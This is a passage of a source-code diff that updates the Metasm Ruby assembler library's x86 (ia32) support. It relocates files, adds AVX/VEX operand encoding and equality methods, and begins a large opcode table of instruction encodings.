Ia32::DbgReg, Ia32::TstReg, Ia32::SegReg if not dcmp.c_parser.toplevel.symbol["intrinsic_get_#{a2}"] sz = a2.kind_of?(Ia32::SegReg) ? 16 : 32 dcmp.c_parser.parse("__int#{sz} intrinsic_get_#{a2}(void);") @@ -369,7 +369,7 @@ class Ia32 # to.delete addr # next if not l = dcmp.dasm.get_label_at(addr) # sw.body.statements << C::Goto.new(l) - # } + # } # stmts << sw a = di.instruction.args.first if a.kind_of? Expression @@ -512,9 +512,9 @@ class Ia32 dcmp.dasm.decoded[b_].block.list.each { |di| di.backtrace_binding = nil } - } + } end - + def decompile_check_abi(dcmp, entry, func) a = func.type.args || [] a.delete_if { |arg| arg.has_attribute_var('register') and arg.has_attribute('unused') } diff --git a/lib/metasm/metasm/ia32/encode.rb b/lib/metasm/metasm/cpu/ia32/encode.rb similarity index 90% rename from lib/metasm/metasm/ia32/encode.rb rename to lib/metasm/metasm/cpu/ia32/encode.rb index 89f044e263..bda4feb6b9 100644 --- a/lib/metasm/metasm/ia32/encode.rb +++ b/lib/metasm/metasm/cpu/ia32/encode.rb @@ -4,7 +4,7 @@ # Licence is LGPL, see LICENCE in the top-level directory -require 'metasm/ia32/opcodes' +require 'metasm/cpu/ia32/opcodes' require 'metasm/encode' module Metasm @@ -195,27 +195,28 @@ class Ia32 case k when :jmp; {:jmp => 0x3e, :nojmp => 0x2e}[v] when :lock; 0xf0 - when :rep; {'repnz' => 0xf2, 'repz' => 0xf3, 'rep' => 0xf2}[v] # TODO + when :rep; {'repnz' => 0xf2, 'repz' => 0xf3, 'rep' => 0xf2}[v] + when :jmphint; {'hintjmp' => 0x3e, 'hintnojmp' => 0x2e}[v] + when :seg; [0x26, 0x2E, 0x36, 0x3E, 0x64, 0x65][v.val] end }.compact.pack 'C*' - pfx << op.props[:needpfx] if op.props[:needpfx] if op.name == 'movsx' or op.name == 'movzx' pfx << 0x66 if size == 48-i.args[0].sz + elsif op.name == 'crc32' + pfx << 0x66 if size == 48-i.args[1].sz else opsz = op.props[:argsz] oi.each { |oa, ia| case oa - when :reg, :reg_eax, :modrm, :modrmA, :mrm_imm + when :reg, :reg_eax, :modrm, :mrm_imm raise EncodeError, "Incompatible arg size in #{i}" if ia.sz and opsz and opsz != ia.sz opsz = ia.sz end } - pfx << 0x66 if (not op.props[:argsz] or opsz != op.props[:argsz]) and ( - (opsz and size == 48 - opsz) or (op.props[:opsz] and op.props[:opsz] != size)) - if op.props[:opsz] and size == 48 - op.props[:opsz] - opsz = op.props[:opsz] - end + pfx << 0x66 if (op.props[:opsz] and size == 48 - op.props[:opsz]) or + (not op.props[:argsz] and opsz and size == 48 - opsz) + opsz ||= op.props[:opsz] end opsz ||= size @@ -226,7 +227,7 @@ class Ia32 adsz ||= size # addrsize override / segment override if mrm = i.args.grep(ModRM).first - if not op.props[:adsz] and ((mrm.b and mrm.b.sz != adsz) or (mrm.i and mrm.i.sz != adsz)) + if not op.props[:adsz] and ((mrm.b and mrm.b.sz == 48 - adsz) or (mrm.i and mrm.i.sz == 48 - adsz)) pfx << 0x67 adsz = 48 - adsz end @@ -240,10 +241,12 @@ class Ia32 postponed = [] oi.each { |oa, ia| case oa - when :reg, :seg3, :seg3A, :seg2, :seg2A, :eeec, :eeed, :regfp, :regmmx, :regxmm + when :reg, :seg3, :seg3A, :seg2, :seg2A, :eeec, :eeed, :eeet, :regfp, :regmmx, :regxmm, :regymm # field arg set_field[oa, ia.val] pfx << 0x66 if oa == :regmmx and op.props[:xmmx] and ia.sz == 128 + when :vexvreg, :vexvxmm, :vexvymm + set_field[:vex_vvvv, ia.val ^ 0xf] when :imm_val1, :imm_val3, :reg_cl, :reg_eax, :reg_dx, :regfp0 # implicit else @@ -251,7 +254,7 @@ class Ia32 end } - if !(op.args & [:modrm, :modrmA, :modrmxmm, :modrmmmx]).empty? + if !(op.args & [:modrm, :modrmmmx, :modrmxmm, :modrmymm]).empty? # reg field of modrm regval = (base[-1] >> 3) & 7 base.pop @@ -265,6 +268,8 @@ class Ia32 postponed.first[1] = Expression[target, :-, postlabel] end + pfx << op.props[:needpfx] if op.props[:needpfx] + # # append other arguments # @@ -273,7 +278,7 @@ class Ia32 postponed.each { |oa, ia| case oa when :farptr; ed = ia.encode(@endianness, "a#{opsz}".to_sym) - when :modrm, :modrmA, :modrmmmx, :modrmxmm + when :modrm, :modrmmmx, :modrmxmm, :modrmymm if ia.kind_of? ModRM ed = ia.encode(regval, @endianness) if ed.kind_of?(::Array) @@ -295,6 +300,7 @@ class Ia32 when :mrm_imm; ed = ia.imm.encode("a#{adsz}".to_sym, @endianness) when :i8, :u8, :u16; ed = ia.encode(oa, @endianness) when :i; ed = ia.encode("a#{opsz}".to_sym, @endianness) + when :i4xmm, :i4ymm; ed = ia.val << 4 # u8 else raise SyntaxError, "Internal error: want to encode field #{oa.inspect} as arg in #{i}" end diff --git a/lib/metasm/metasm/ia32/main.rb b/lib/metasm/metasm/cpu/ia32/main.rb similarity index 78% rename from lib/metasm/metasm/ia32/main.rb rename to lib/metasm/metasm/cpu/ia32/main.rb index 3993da8994..ac2fc115ba 100644 --- a/lib/metasm/metasm/ia32/main.rb +++ b/lib/metasm/metasm/cpu/ia32/main.rb @@ -34,6 +34,10 @@ class Ia32 < CPU @val = v end + def ==(o) + self.class == o.class and val == o.val + end + def self.from_str(s) new(@s_to_i[s]) end } end @@ -53,13 +57,16 @@ class Ia32 < CPU @sz = sz end + def ==(o) + self.class == o.class and val == o.val and sz == o.sz + end + def self.from_str(s) raise "Bad #{name} #{s.inspect}" if not x = @s_to_i[s] new(*x) end } end - end @@ -78,15 +85,21 @@ class Ia32 < CPU simple_map((0..7).map { |i| [i, "cr#{i}"] }) end + # test registers (tr0..tr7) (undocumented) + class TstReg < Argument + simple_map((0..7).map { |i| [i, "tr#{i}"] }) + end + # floating point registers class FpReg < Argument simple_map((0..7).map { |i| [i, "ST(#{i})"] } << [nil, 'ST']) end - # a single operation multiple data register (mm0..mm7, xmm0..xmm7) + # Single Instr Multiple Data register (mm0..mm7, xmm0..xmm7, ymm0..ymm7) class SimdReg < Argument double_map 64 => (0..7).map { |n| "mm#{n}" }, - 128 => (0..7).map { |n| "xmm#{n}" } + 128 => (0..7).map { |n| "xmm#{n}" }, + 256 => (0..7).map { |n| "ymm#{n}" } def symbolic(di=nil) ; to_s.to_sym end end @@ -128,12 +141,16 @@ class Ia32 < CPU def initialize(seg, addr) @seg, @addr = seg, addr end + + def ==(o) + self.class == o.class and seg == o.seg and addr == o.addr + end end # ModRM represents indirections in x86 (eg dword ptr [eax+4*ebx+12h]) class ModRM < Argument # valid combinaisons for a modrm - # ints are reg indexes, symbols are immediates, except :sib + # ints are reg indexes, symbols are immediates, except :sib Sum = { 16 => { 0 => [ [3, 6], [3, 7], [5, 6], [5, 7], [6], [7], [:i16], [3] ], @@ -175,6 +192,10 @@ class Ia32 < CPU p = Expression["segment_base_#@seg", :+, p] if seg and seg.val != ((b && (@b.val == 4 || @b.val == 5)) ? 2 : 3) Indirection[p.reduce, @sz/8, (di.address if di)] end + + def ==(o) + self.class == o.class and s == o.s and i == o.i and b == o.b and imm == o.imm and seg == o.seg and adsz == o.adsz and sz == o.sz + end end @@ -217,17 +238,44 @@ class Ia32 < CPU pp.define_weak('__i386__') end - # returns a Reg object if the arg is a valid register (eg 'ax' => Reg.new(0, 16)) + # returns a Reg/SimdReg object if the arg is a valid register (eg 'ax' => Reg.new(0, 16)) # returns nil if str is invalid def str_to_reg(str) - Reg.from_str(str) if Reg.s_to_i.has_key? str + Reg.s_to_i.has_key?(str) ? Reg.from_str(str) : SimdReg.s_to_i.has_key?(str) ? SimdReg.from_str(str) : nil + end + + # returns the list of Regs in the instruction arguments + # may be converted into symbols through Reg#symbolic + def instr_args_regs(i) + i = i.instruction if i.kind_of?(DecodedInstruction) + i.args.grep(Reg) + end + + # returns the list of ModRMs in the instruction arguments + # may be converted into Indirection through ModRM#symbolic + def instr_args_memoryptr(i) + i = i.instruction if i.kind_of?(DecodedInstruction) + i.args.grep(ModRM) + end + + # return the 'base' of the ModRM (Reg/nil) + def instr_args_memoryptr_getbase(mrm) + mrm.b || (mrm.i if mrm.s == 1) + end + + # return the offset of the ModRM (Expression/nil) + def instr_args_memoryptr_getoffset(mrm) + mrm.imm + end + + # define ModRM offset (eg to changing imm into an ExpressionString) + def instr_args_memoryptr_setoffset(mrm, imm) + mrm.imm = (imm ? Expression[imm] : imm) end def shortname "ia32#{'_16' if @size == 16}#{'_be' if @endianness == :big}" end end - X86 = Ia32 - end diff --git a/lib/metasm/metasm/cpu/ia32/opcodes.rb b/lib/metasm/metasm/cpu/ia32/opcodes.rb new file mode 100644 index 0000000000..0aa16cbf43 --- /dev/null +++ b/lib/metasm/metasm/cpu/ia32/opcodes.rb @@ -0,0 +1,1424 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/cpu/ia32/main' + +module Metasm +class Ia32 + def init_cpu_constants + @opcode_list ||= [] + @fields_mask.update :w => 1, :s => 1, :d => 1, :modrm => 0xC7, + :reg => 7, :eeec => 7, :eeed => 7, :eeet => 7, :seg2 => 3, :seg3 => 7, + :regfp => 7, :regmmx => 7, :regxmm => 7, :regymm => 7, + :vex_r => 1, :vex_b => 1, :vex_x => 1, :vex_w => 1, + :vex_vvvv => 0xF + @fields_mask[:seg2A] = @fields_mask[:seg2] + @fields_mask[:seg3A] = @fields_mask[:seg3] + + [:i, :i8, :u8, :u16, :reg, :seg2, :seg2A, + :seg3, :seg3A, :eeec, :eeed, :eeet, :modrm, :mrm_imm, + :farptr, :imm_val1, :imm_val3, :reg_cl, :reg_eax, + :reg_dx, :regfp, :regfp0, :modrmmmx, :regmmx, + :modrmxmm, :regxmm, :modrmymm, :regymm, + :vexvxmm, :vexvymm, :vexvreg, :i4xmm, :i4ymm + ].each { |a| @valid_args[a] = true } + + [:strop, :stropz, :opsz, :adsz, :argsz, :setip, + :stopexec, :saveip, :unsigned_imm, :random, :needpfx, + :xmmx, :modrmR, :modrmA, :mrmvex + ].each { |a| @valid_props[a] = true } + end + + # only most common instructions from the 386 instruction set + # inexhaustive list : + # no aaa, arpl, mov crX, call/jmp/ret far, in/out, bts, xchg... + def init_386_common_only + init_cpu_constants + + addop_macro1 'adc', 2 + addop_macro1 'add', 0 + addop_macro1 'and', 4, :unsigned_imm + addop 'bswap', [0x0F, 0xC8], :reg + addop 'call', [0xE8], nil, :stopexec, :setip, :i, :saveip + addop 'call', [0xFF], 2, :stopexec, :setip, :saveip + addop('cbw', [0x98]) { |o| o.props[:opsz] = 16 } + addop('cwde', [0x98]) { |o| o.props[:opsz] = 32 } + addop('cwd', [0x99]) { |o| o.props[:opsz] = 16 } + addop('cdq', [0x99]) { |o| o.props[:opsz] = 32 } + addop_macro1 'cmp', 7 + addop_macrostr 'cmps', [0xA6], :stropz + addop 'dec', [0x48], :reg + addop 'dec', [0xFE], 1, {:w => [0, 0]} + addop 'div', [0xF6], 6, {:w => [0, 0]} + addop 'enter', [0xC8], nil, :u16, :u8 + addop 'idiv', [0xF6], 7, {:w => [0, 0]} + addop 'imul', [0xF6], 5, {:w => [0, 0]} # implicit eax, but different semantic from imul eax, ebx (the implicit version updates edx:eax) + addop 'imul', [0x0F, 0xAF], :mrm + addop 'imul', [0x69], :mrm, {:s => [0, 1]}, :i + addop 'inc', [0x40], :reg + addop 'inc', [0xFE], 0, {:w => [0, 0]} + addop 'int', [0xCC], nil, :imm_val3, :stopexec + addop 'int', [0xCD], nil, :u8 + addop_macrotttn 'j', [0x70], nil, :setip, :i8 + addop_macrotttn('j', [0x70], nil, :setip, :i8) { |o| o.name << '.i8' } + addop_macrotttn 'j', [0x0F, 0x80], nil, :setip, :i + addop_macrotttn('j', [0x0F, 0x80], nil, :setip, :i) { |o| o.name << '.i' } + addop 'jmp', [0xE9], nil, {:s => [0, 1]}, :setip, :i, :stopexec + addop 'jmp', [0xFF], 4, :setip, :stopexec + addop 'lea', [0x8D], :mrmA + addop 'leave', [0xC9] + addop_macrostr 'lods', [0xAC], :strop + addop 'loop', [0xE2], nil, :setip, :i8 + addop 'loopz', [0xE1], nil, :setip, :i8 + addop 'loope', [0xE1], nil, :setip, :i8 + addop 'loopnz',[0xE0], nil, :setip, :i8 + addop 'loopne',[0xE0], nil, :setip, :i8 + addop 'mov', [0xA0], nil, {:w => [0, 0], :d => [0, 1]}, :reg_eax, :mrm_imm + addop('mov', [0x88], :mrmw,{:d => [0, 1]}) { |o| o.args.reverse! } + addop 'mov', [0xB0], :reg, {:w => [0, 3]}, :i, :unsigned_imm + addop 'mov', [0xC6], 0, {:w => [0, 0]}, :i, :unsigned_imm + addop_macrostr 'movs', [0xA4], :strop + addop 'movsx', [0x0F, 0xBE], :mrmw + addop 'movzx', [0x0F, 0xB6], :mrmw + addop 'mul', [0xF6], 4, {:w => [0, 0]} + addop 'neg', [0xF6], 3, {:w => [0, 0]} + addop 'nop', [0x90] + addop 'not', [0xF6], 2, {:w => [0, 0]} + addop_macro1 'or', 1, :unsigned_imm + addop 'pop', [0x58], :reg + addop 'pop', [0x8F], 0 + addop 'push', [0x50], :reg + addop 'push', [0xFF], 6 + addop 'push', [0x68], nil, {:s => [0, 1]}, :i, :unsigned_imm + addop 'ret', [0xC3], nil, :stopexec, :setip + addop 'ret', [0xC2], nil, :stopexec, :u16, :setip + addop_macro3 'rol', 0 + addop_macro3 'ror', 1 + addop_macro3 'sar', 7 + addop_macro1 'sbb', 3 + addop_macrostr 'scas', [0xAE], :stropz + addop_macrotttn('set', [0x0F, 0x90], 0) { |o| o.props[:argsz] = 8 } + addop_macrotttn('set', [0x0F, 0x90], :mrm) { |o| o.props[:argsz] = 8 ; o.args.reverse! } # :reg field is unused + addop_macro3 'shl', 4 + addop_macro3 'sal', 6 + addop 'shld', [0x0F, 0xA4], :mrm, :u8 + addop 'shld', [0x0F, 0xA5], :mrm, :reg_cl + addop_macro3 'shr', 5 + addop 'shrd', [0x0F, 0xAC], :mrm, :u8 + addop 'shrd', [0x0F, 0xAD], :mrm, :reg_cl + addop_macrostr 'stos', [0xAA], :strop + addop_macro1 'sub', 5 + addop 'test', [0x84], :mrmw + addop 'test', [0xA8], nil, {:w => [0, 0]}, :reg_eax, :i, :unsigned_imm + addop 'test', [0xF6], 0, {:w => [0, 0]}, :i, :unsigned_imm + addop 'xchg', [0x90], :reg, :reg_eax + addop('xchg', [0x90], :reg, :reg_eax) { |o| o.args.reverse! } # xchg eax, ebx == xchg ebx, eax) + addop 'xchg', [0x86], :mrmw + addop('xchg', [0x86], :mrmw) { |o| o.args.reverse! } + addop_macro1 'xor', 6, :unsigned_imm + end + + def init_386_only + init_cpu_constants + + addop 'aaa', [0x37] + addop 'aad', [0xD5, 0x0A] + addop 'aam', [0xD4, 0x0A] + addop 'aas', [0x3F] + addop('arpl', [0x63], :mrm) { |o| o.props[:argsz] = 16 ; o.args.reverse! } + addop 'bound', [0x62], :mrmA + addop 'bsf', [0x0F, 0xBC], :mrm + addop 'bsr', [0x0F, 0xBD], :mrm + addop_macro2 'bt' , 0 + addop_macro2 'btc', 3 + addop_macro2 'btr', 2 + addop_macro2 'bts', 1 + addop 'call', [0x9A], nil, :stopexec, :setip, :farptr, :saveip + addop 'callf', [0x9A], nil, :stopexec, :setip, :farptr, :saveip + addop 'callf', [0xFF], 3, :stopexec, :setip, :saveip + addop 'clc', [0xF8] + addop 'cld', [0xFC] + addop 'cli', [0xFA] + addop 'clts', [0x0F, 0x06] + addop 'cmc', [0xF5] + addop('cmpxchg',[0x0F, 0xB0], :mrmw) { |o| o.args.reverse! } + addop 'cpuid', [0x0F, 0xA2] + addop 'daa', [0x27] + addop 'das', [0x2F] + addop 'hlt', [0xF4], nil, :stopexec + addop 'in', [0xE4], nil, {:w => [0, 0]}, :reg_eax, :u8 + addop 'in', [0xE4], nil, {:w => [0, 0]}, :u8 + addop 'in', [0xEC], nil, {:w => [0, 0]}, :reg_eax, :reg_dx + addop 'in', [0xEC], nil, {:w => [0, 0]}, :reg_eax + addop 'in', [0xEC], nil, {:w => [0, 0]} + addop_macrostr 'ins', [0x6C], :strop + addop 'into', [0xCE] + addop 'invd', [0x0F, 0x08] + addop 'invlpg', [0x0F, 0x01, 7<<3], :modrmA + addop('iretd', [0xCF], nil, :stopexec, :setip) { |o| o.props[:opsz] = 32 } + addop_macroret 'iret', [0xCF] + addop('jcxz', [0xE3], nil, :setip, :i8) { |o| o.props[:adsz] = 16 } + addop('jecxz', [0xE3], nil, :setip, :i8) { |o| o.props[:adsz] = 32 } + addop 'jmp', [0xEA], nil, :farptr, :setip, :stopexec + addop 'jmpf', [0xEA], nil, :farptr, :setip, :stopexec + addop 'jmpf', [0xFF], 5, :stopexec, :setip # reg ? + addop 'lahf', [0x9F] + addop 'lar', [0x0F, 0x02], :mrm + addop 'lds', [0xC5], :mrmA + addop 'les', [0xC4], :mrmA + addop 'lfs', [0x0F, 0xB4], :mrmA + addop 'lgs', [0x0F, 0xB5], :mrmA + addop 'lgdt', [0x0F, 0x01], 2, :modrmA + addop 'lidt', [0x0F, 0x01, 3<<3], :modrmA + addop 'lldt', [0x0F, 0x00], 2, :modrmA + addop 'lmsw', [0x0F, 0x01], 6 +# prefix addop 'lock', [0xF0] + addop 'lsl', [0x0F, 0x03], :mrm + addop 'lss', [0x0F, 0xB2], :mrmA + addop 'ltr', [0x0F, 0x00], 3 + addop 'mov', [0x0F, 0x20, 0xC0], :reg, {:d => [1, 1], :eeec => [2, 3]}, :eeec + addop 'mov', [0x0F, 0x21, 0xC0], :reg, {:d => [1, 1], :eeed => [2, 3]}, :eeed + addop 'mov', [0x0F, 0x24, 0xC0], :reg, {:d => [1, 1], :eeet => [2, 3]}, :eeet + addop 'mov', [0x8C], 0, {:d => [0, 1], :seg3 => [1, 3]}, :seg3 + addop 'movbe', [0x0F, 0x38, 0xF0], :mrm, { :d => [2, 0] } + addop 'out', [0xE6], nil, {:w => [0, 0]}, :u8, :reg_eax + addop 'out', [0xE6], nil, {:w => [0, 0]}, :reg_eax, :u8 + addop 'out', [0xE6], nil, {:w => [0, 0]}, :u8 + addop 'out', [0xEE], nil, {:w => [0, 0]}, :reg_dx, :reg_eax + addop 'out', [0xEE], nil, {:w => [0, 0]}, :reg_eax, :reg_dx + addop 'out', [0xEE], nil, {:w => [0, 0]}, :reg_eax # implicit arguments + addop 'out', [0xEE], nil, {:w => [0, 0]} + addop_macrostr 'outs', [0x6E], :strop + addop 'pop', [0x07], nil, {:seg2A => [0, 3]}, :seg2A + addop 'pop', [0x0F, 0x81], nil, {:seg3A => [1, 3]}, :seg3A + addop('popa', [0x61]) { |o| o.props[:opsz] = 16 } + addop('popad', [0x61]) { |o| o.props[:opsz] = 32 } + addop('popf', [0x9D]) { |o| o.props[:opsz] = 16 } + addop('popfd', [0x9D]) { |o| o.props[:opsz] = 32 } + addop 'push', [0x06], nil, {:seg2 => [0, 3]}, :seg2 + addop 'push', [0x0F, 0x80], nil, {:seg3A => [1, 3]}, :seg3A + addop('pusha', [0x60]) { |o| o.props[:opsz] = 16 } + addop('pushad',[0x60]) { |o| o.props[:opsz] = 32 } + addop('pushf', [0x9C]) { |o| o.props[:opsz] = 16 } + addop('pushfd',[0x9C]) { |o| o.props[:opsz] = 32 } + addop_macro3 'rcl', 2 + addop_macro3 'rcr', 3 + addop 'rdmsr', [0x0F, 0x32] + addop 'rdpmc', [0x0F, 0x33] + addop 'rdtsc', [0x0F, 0x31], nil, :random + addop_macroret 'retf', [0xCB] + addop_macroret 'retf', [0xCA], :u16 + addop 'rsm', [0x0F, 0xAA], nil, :stopexec + addop 'sahf', [0x9E] + addop 'sgdt', [0x0F, 0x01, 0<<3], :modrmA + addop 'sidt', [0x0F, 0x01, 1<<3], :modrmA + addop 'sldt', [0x0F, 0x00], 0 + addop 'smsw', [0x0F, 0x01], 4 + addop 'stc', [0xF9] + addop 'std', [0xFD] + addop 'sti', [0xFB] + addop 'str', [0x0F, 0x00], 1 + addop 'test', [0xF6], 1, {:w => [0, 0]}, :i, :unsigned_imm # undocumented alias to F6/0 + addop 'ud2', [0x0F, 0x0B] + addop 'verr', [0x0F, 0x00], 4 + addop 'verw', [0x0F, 0x00], 5 + addop 'wait', [0x9B] + addop 'wbinvd',[0x0F, 0x09] + addop 'wrmsr', [0x0F, 0x30] + addop('xadd', [0x0F, 0xC0], :mrmw) { |o| o.args.reverse! } + addop 'xlat', [0xD7] + +# pfx: addrsz = 0x67, lock = 0xF0, opsz = 0x66, repnz = 0xF2, rep/repz = 0xF3 +# cs/nojmp = 0x2E, ds/jmp = 0x3E, es = 0x26, fs = 0x64, gs = 0x65, ss = 0x36 + + # undocumented opcodes + addop 'aam', [0xD4], nil, :u8 + addop 'aad', [0xD5], nil, :u8 + addop 'setalc',[0xD6] + addop 'salc', [0xD6] + addop 'icebp', [0xF1] + #addop 'loadall',[0x0F, 0x07] # conflict with syscall + addop 'ud0', [0x0F, 0xFF] # amd + addop 'ud2', [0x0F, 0xB9], :mrm + #addop 'umov', [0x0F, 0x10], :mrmw, {:d => [1, 1]} # conflicts with movups/movhlps + end + + def init_387_only + init_cpu_constants + + addop 'f2xm1', [0xD9, 0xF0] + addop 'fabs', [0xD9, 0xE1] + addop_macrofpu1 'fadd', 0 + addop 'faddp', [0xDE, 0xC0], :regfp + addop 'faddp', [0xDE, 0xC1] + addop('fbld', [0xDF, 4<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 80 } + addop('fbstp', [0xDF, 6<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 80 } + addop 'fchs', [0xD9, 0xE0], nil, :regfp0 + addop 'fnclex', [0xDB, 0xE2] + addop_macrofpu1 'fcom', 2 + addop_macrofpu1 'fcomp', 3 + addop 'fcompp',[0xDE, 0xD9] + addop 'fcomip',[0xDF, 0xF0], :regfp + addop 'fcos', [0xD9, 0xFF], nil, :regfp0 + addop 'fdecstp', [0xD9, 0xF6] + addop_macrofpu1 'fdiv', 6 + addop_macrofpu1 'fdivr', 7 + addop 'fdivp', [0xDE, 0xF8], :regfp + addop 'fdivp', [0xDE, 0xF9] + addop 'fdivrp',[0xDE, 0xF0], :regfp + addop 'fdivrp',[0xDE, 0xF1] + addop 'ffree', [0xDD, 0xC0], nil, {:regfp => [1, 0]}, :regfp + addop_macrofpu2 'fiadd', 0 + addop_macrofpu2 'fimul', 1 + addop_macrofpu2 'ficom', 2 + addop_macrofpu2 'ficomp',3 + addop_macrofpu2 'fisub', 4 + addop_macrofpu2 'fisubr',5 + addop_macrofpu2 'fidiv', 6 + addop_macrofpu2 'fidivr',7 + addop 'fincstp', [0xD9, 0xF7] + addop 'fninit', [0xDB, 0xE3] + addop_macrofpu2 'fist', 2, 1 + addop_macrofpu3 'fild', 0 + addop_macrofpu3 'fistp',3 + addop('fld', [0xD9, 0<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 32 } + addop('fld', [0xDD, 0<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 64 } + addop('fld', [0xDB, 5<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 80 } + addop 'fld', [0xD9, 0xC0], :regfp + + addop('fldcw', [0xD9, 5<<3], :modrmA) { |o| o.props[:argsz] = 16 } + addop 'fldenv', [0xD9, 4<<3], :modrmA + addop 'fld1', [0xD9, 0xE8] + addop 'fldl2t', [0xD9, 0xE9] + addop 'fldl2e', [0xD9, 0xEA] + addop 'fldpi', [0xD9, 0xEB] + addop 'fldlg2', [0xD9, 0xEC] + addop 'fldln2', [0xD9, 0xED] + addop 'fldz', [0xD9, 0xEE] + addop_macrofpu1 'fmul', 1 + addop 'fmulp', [0xDE, 0xC8], :regfp + addop 'fmulp', [0xDE, 0xC9] + addop 'fnop', [0xD9, 0xD0] + addop 'fpatan', [0xD9, 0xF3] + addop 'fprem', [0xD9, 0xF8] + addop 'fprem1', [0xD9, 0xF5] + addop 'fptan', [0xD9, 0xF2] + addop 'frndint',[0xD9, 0xFC] + addop 'frstor', [0xDD, 4<<3], :modrmA + addop 'fnsave', [0xDD, 6<<3], :modrmA + addop('fnstcw', [0xD9, 7<<3], :modrmA) { |o| o.props[:argsz] = 16 } + addop 'fnstenv',[0xD9, 6<<3], :modrmA + addop 'fnstsw', [0xDF, 0xE0] + addop('fnstsw', [0xDD, 7<<3], :modrmA) { |o| o.props[:argsz] = 16 } + addop 'fscale', [0xD9, 0xFD] + addop 'fsin', [0xD9, 0xFE] + addop 'fsincos',[0xD9, 0xFB] + addop 'fsqrt', [0xD9, 0xFA] + addop('fst', [0xD9, 2<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 32 } + addop('fst', [0xDD, 2<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 64 } + addop 'fst', [0xD9, 0xD0], :regfp + addop('fstp', [0xD9, 3<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 32 } + addop('fstp', [0xDD, 3<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 64 } + addop('fstp', [0xDB, 7<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 80 } + addop 'fstp', [0xDD, 0xD8], :regfp + addop_macrofpu1 'fsub', 4 + addop 'fsubp', [0xDE, 0xE8], :regfp + addop 'fsubp', [0xDE, 0xE9] + addop_macrofpu1 'fsubp', 5 + addop 'fsubrp', [0xDE, 0xE0], :regfp + addop 'fsubrp', [0xDE, 0xE1] + addop 'ftst', [0xD9, 0xE4] + addop 'fucom', [0xDD, 0xE0], :regfp + addop 'fucomp', [0xDD, 0xE8], :regfp + addop 'fucompp',[0xDA, 0xE9] + addop 'fucomi', [0xDB, 0xE8], :regfp + addop 'fxam', [0xD9, 0xE5] + addop 'fxch', [0xD9, 0xC8], :regfp + addop 'fxtract',[0xD9, 0xF4] + addop 'fyl2x', [0xD9, 0xF1] + addop 'fyl2xp1',[0xD9, 0xF9] + # fwait prefix + addop 'fclex', [0x9B, 0xDB, 0xE2] + addop 'finit', [0x9B, 0xDB, 0xE3] + addop 'fsave', [0x9B, 0xDD, 6<<3], :modrmA + addop('fstcw', [0x9B, 0xD9, 7<<3], :modrmA) { |o| o.props[:argsz] = 16 } + addop 'fstenv', [0x9B, 0xD9, 6<<3], :modrmA + addop 'fstsw', [0x9B, 0xDF, 0xE0] + addop('fstsw', [0x9B, 0xDD, 7<<3], :modrmA) { |o| o.props[:argsz] = 16 } + addop 'fwait', [0x9B] + end + + def init_486_only + init_cpu_constants + end + + def init_pentium_only + init_cpu_constants + + addop('cmpxchg8b', [0x0F, 0xC7], 1) { |o| o.props[:opsz] = 32 ; o.props[:argsz] = 64 } + # lock cmpxchg8b eax + #addop 'f00fbug', [0xF0, 0x0F, 0xC7, 0xC8] + + # mmx + addop 'emms', [0x0F, 0x77] + addop('movd', [0x0F, 0x6E], :mrmmmx, {:d => [1, 4]}) { |o| o.args = [:modrm, :regmmx] ; o.props[:opsz] = o.props[:argsz] = 32 } + addop('movq', [0x0F, 0x6F], :mrmmmx, {:d => [1, 4]}) { |o| o.props[:argsz] = 64 } + addop 'packssdw', [0x0F, 0x6B], :mrmmmx + addop 'packsswb', [0x0F, 0x63], :mrmmmx + addop 'packuswb', [0x0F, 0x67], :mrmmmx + addop_macrogg 0..2, 'padd', [0x0F, 0xFC], :mrmmmx + addop_macrogg 0..1, 'padds', [0x0F, 0xEC], :mrmmmx + addop_macrogg 0..1, 'paddus',[0x0F, 0xDC], :mrmmmx + addop 'pand', [0x0F, 0xDB], :mrmmmx + addop 'pandn', [0x0F, 0xDF], :mrmmmx + addop_macrogg 0..2, 'pcmpeq',[0x0F, 0x74], :mrmmmx + addop_macrogg 0..2, 'pcmpgt',[0x0F, 0x64], :mrmmmx + addop 'pmaddwd', [0x0F, 0xF5], :mrmmmx + addop 'pmulhuw', [0x0F, 0xE4], :mrmmmx + addop 'pmulhw',[0x0F, 0xE5], :mrmmmx + addop 'pmullw',[0x0F, 0xD5], :mrmmmx + addop 'por', [0x0F, 0xEB], :mrmmmx + [[1..3, 'psll', 3], [1..2, 'psra', 2], [1..3, 'psrl', 1]].each { |ggrng, name, val| + addop_macrogg ggrng, name, [0x0F, 0xC0 | (val << 4)], :mrmmmx + addop_macrogg ggrng, name, [0x0F, 0x70, 0xC0 | (val << 4)], nil, {:regmmx => [2, 0]}, :regmmx, :u8 + } + addop_macrogg 0..2, 'psub', [0x0F, 0xF8], :mrmmmx + addop_macrogg 0..1, 'psubs', [0x0F, 0xE8], :mrmmmx + addop_macrogg 0..1, 'psubus',[0x0F, 0xD8], :mrmmmx + addop_macrogg 1..3, 'punpckh', [0x0F, 0x68], :mrmmmx + addop_macrogg 1..3, 'punpckl', [0x0F, 0x60], :mrmmmx + addop 'pxor', [0x0F, 0xEF], :mrmmmx + end + + def init_p6_only + addop_macrotttn 'cmov', [0x0F, 0x40], :mrm + + %w{b e be u}.each_with_index { |tt, i| + addop 'fcmov' + tt, [0xDA, 0xC0 | (i << 3)], :regfp + addop 'fcmovn'+ tt, [0xDB, 0xC0 | (i << 3)], :regfp + } + addop 'fcomi', [0xDB, 0xF0], :regfp + addop('fxrstor', [0x0F, 0xAE, 1<<3], :modrmA) { |o| o.props[:argsz] = 512*8 } + addop('fxsave', [0x0F, 0xAE, 0<<3], :modrmA) { |o| o.props[:argsz] = 512*8 } + addop 'sysenter',[0x0F, 0x34] + addop 'sysexit', [0x0F, 0x35] + + addop 'syscall', [0x0F, 0x05] # AMD + addop_macroret 'sysret', [0x0F, 0x07] # AMD + end + + def init_3dnow_only + init_cpu_constants + + [['pavgusb', 0xBF], 